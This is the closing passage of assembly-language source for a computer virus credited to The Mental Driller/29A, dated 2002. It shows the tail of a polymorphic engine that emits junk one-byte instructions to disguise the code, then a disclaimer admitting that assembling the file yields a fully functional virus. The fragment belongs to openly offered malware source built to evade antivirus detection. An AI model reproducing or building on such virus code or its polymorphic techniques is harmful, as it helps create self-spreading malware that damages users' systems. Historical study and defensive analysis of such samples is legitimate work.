mov eax, 90h ; Set NOP
|
|
@@Return: ret
|
|
@@ReturnCMC:
|
|
mov eax, 0F5h ; Set CMC
|
|
ret
|
|
Poly_GetGarbageOneByter endp
|
|
;;
|
|
;;
|
|
;; End of the polymorphic engine
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
EndOfCode label dword
|
|
|
|
end PreMain
|
|
|
|
(c) The Mental Driller/29A, somewhere on February 2002
|
|
|
|
DISCLAIMER
|
|
|
|
This code is only for research and educational purposes only. The assembling
|
|
of this file will produce a fully functional virus, so you have been warned.
|
|
If this kind of material is illegal in your country or state, you should
|
|
remove it from your computer. The author of this virus declines any illegal
|
|
activity performed by the possesor of the assembled form of this source code
|
|
including possesion and/or spreading of the virus generated from this source
|
|
code.
|
|
|
|
This source code is provided "as is". The deliberated modification of this
|
|
source code will derive in a new virus that must not be considered the virus
|
|
sourced here. The author of the original source code will not be considered
|
|
the author of the new modified or derivated virus.
|